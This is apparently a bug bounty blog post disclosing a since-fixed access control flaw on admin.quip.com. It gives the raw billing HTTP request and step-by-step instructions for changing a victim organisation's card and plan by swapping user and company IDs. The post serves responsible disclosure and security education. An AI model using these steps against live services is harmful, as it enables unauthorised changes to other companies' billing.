Slack - Update/Edit Billing information(Credit card ,Plans ) by low privileged user on https://admin.quip.com(Access control issue )

 Company Information : 


Slack is a cloud-based freemium cross-platform instant messaging service created by Slack Technologies and currently owned by Salesforce. While initially developed for professional and organizational communications, it has also been adopted as a community platform.


Bug Category : 

Privilege Escalation : 

Privilege escalation is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.


Target  Information : 

https://admin.quip.com


Technical Details of the Bug : 

You will need a Paid subscription(Quip Starter) to reproduce the issue . Once you purchase a subscription , you can access domain https://admin.quip.com. On this domain you have user section where you can add users with given roles. There is a low privileged role called "Site Admin" . This role is not able to access Few sections of the domain like Billing section , Roles section etc. But the billing update request is vulnerable to Access control issue and this low privileged user is able to Update a billing settings . In the billing settings you can update the credit card and Current plan of the company.


Vulnerable HTTP Request :

POST /-/setup-billing HTTP/2 2Host: admin.quip.com 3Cookie: cookies 4User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/112.0 5Accept: */* 6Accept-Language: en-US,en;q=0.5 7Accept-Encoding: gzip, deflate 8Referer: https://admin.quip.com/console/cCGAcAVnm2Q/billing 9X-Requested-With: XMLHttpRequest 10Content-Type: application/x-www-form-urlencoded 11Content-Length: 1271 12Origin: https://admin.quip.com 13Sec-Fetch-Dest: empty 14Sec-Fetch-Mode: cors 15Sec-Fetch-Site: same-origin 16Te: trailers 17 18_csrf=&_js_client_hash=&_js_request_id=r16zyuvia9&_js_request_time=1683414925164&_js_request_time_ms=1683414925164&_resource_bundle=admin_console&_user_id=NJKAEAnKkEU&_version=10&_window_session_id=8eba0aa9f607&company_id=cCGAcAVnm2Q&plan=5p_monthly_2_free_mo&quantity=5&token=%7B%22id%22%3A%22tok_1N4uJx20Ocpi9J4OZX6EPU3B%22%2C%22object%22%3A%22token%22%2C%22card%22%3A%7B%22id%22%3A%22card_1N4uJw20Ocpi9J4ONRzsiF9I%22%2C%22object%22%3A%22card%22%2C%22address_city%22%3Anull%2C%22address_country%22%3Anull%2C%22address_line1%22%3Anull%2C%22address_line1_check%22%3Anull%2C%22address_line2%22%3Anull%2C%22address_state%22%3Anull%2C%22address_zip%22%3A%22560103%22%2C%22address_zip_check%22%3A%22unchecked%22%2C%22brand%22%3A%22Visa%22%2C%22country%22%3A%22IN%22%2C%22cvc_check%22%3A%22unchecked%22%2C%22dynamic_last4%22%3Anull%2C%22exp_month%22%3A7%2C%22exp_year%22%3A2027%2C%22funding%22%3A%22credit%22%2C%22last4%22%3A%228169%22%2C%22name%22%3A%221110bugcrowdtester%40gmail.com%22%2C%22tokenization_method%22%3Anull%2C%22wallet%22%3Anull%7D%2C%22client_ip%22%3A%2249.37.161.143%22%2C%22created%22%3A1683414921%2C%22email%22%3A%221110bugcrowdtester%40gmail.com%22%2C%22livemode%22%3Atrue%2C%22type%22%3A%22card%22%2C%22used%22%3Afalse%7D


Vulnerable Parameter :

_user_id , company_id These IDs are public to Low privileged user account.

Steps to reproduce :

You will need 2 Quip Startup paid accounts for this. 1.Login from Victim account and go to https://admin.quip.com. 2.Now go to user management section and add attacker user(User will be auto given site admin role) 3.Now login from Attacker user account and you will see this user will have access to victim Account too but with low privileges. 4.Now Select the victim org and any go to Victim Org on https://admin.quip.com. 5.Now you will notice that this user doesn't have access to Billing section. 6.Now select the Attacker Org account and go to https://admin.quip.com. 7.Now go to billing section and update the credit card/plan. 8.Complete the stripe payment and the final request would look something like above mentioned Request. 9.Change the _user_id and company_id values to Victim account and send the request to server. 10.You will notice that victim account Credit card and plan will be changed. Note : _user_id and company_id are public values to Low privileged user account.

Impact

Update/Edit Billing information(Credit card ,Plans ) by low privileged user on https://admin.quip.com(Access control issue )


Timeline : 

May 12th 2023: Report send to Slack product Security Team through Hackerone.

June 03th 2023 : Report Accepted and Triaged.

June 07th 2023: Complete issue was resolved and confirmed.

June 07th 2023 : 1500$ Bounty Rewarded




Comments

Popular posts from this blog

Account Takeover Apple App Store Connect Account of Any user and Steal Developer API/Subscription Keys of any user(CORS+XSS) worth 8500$

Amazon Web Services : Takeover Workbook and delete the Owner on https://builder.honeycode.aws by collaborator user (IDOR) worth 7200$

UnAuth Access to Twitter Private Tweets and messages Media Content Access(IDOR)